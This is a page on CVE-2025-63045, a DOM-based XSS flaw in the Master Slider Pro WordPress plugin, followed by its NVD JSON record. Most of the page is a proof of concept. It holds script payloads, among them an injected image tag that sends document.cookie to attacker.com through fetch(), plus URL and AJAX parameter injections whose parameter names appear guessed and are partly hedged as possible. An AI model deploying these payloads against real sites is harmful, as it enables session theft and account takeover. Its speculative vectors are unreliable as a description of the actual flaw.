CVE-2025-63045

<!-- CVE-2025-63045 PoC: DOM-Based XSS in Master Slider Pro --> <!-- This PoC demonstrates the DOM-based XSS vulnerability in Master Slider Pro <= 3.7.12 --> <!-- Attack Vector 1: URL Parameter Injection --> <script> // Malicious URL construction to trigger DOM XSS var maliciousInput = '<img src=x onerror="alert(document.cookie)">'; var attackUrl = window.location.origin + '/?masterslider_input=' + encodeURIComponent(maliciousInput); console.log('Attacker can redirect victim to:', attackUrl); </script> <!-- Attack Vector 2: Stored XSS via Plugin Settings --> <!-- In masterslider admin panel, attacker can inject: --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Attack Vector 3: Reflected via AJAX endpoints --> <!-- The plugin may reflect unsanitized input in AJAX responses --> var payload = '" onfocus="alert(document.domain)" autofocus="'; var exploitUrl = ajaxUrl + '?action=masterslider_ajax&param=' + payload; <!-- Mitigation: Use DOMPurify or similar library to sanitize user input --> <!-- Example fix: --> <!-- var sanitized = DOMPurify.sanitize(userInput); -->

{"cve": {"id": "CVE-2025-63045", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:09.747", "lastModified": "2026-01-30T19:36:50.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in averta Master Slider Pro masterslider allows DOM-Based XSS.This issue affects Master Slider Pro: from n/a through <= 3.7.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:averta:master_slider_pro:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "3.7.12", "matchCriteriaId": "858BE154-8833-4AEB-9DF1-2280F49508DF"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/masterslider/vulnerability/wordpress-master-slider-pro-plugin-3-7-12-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}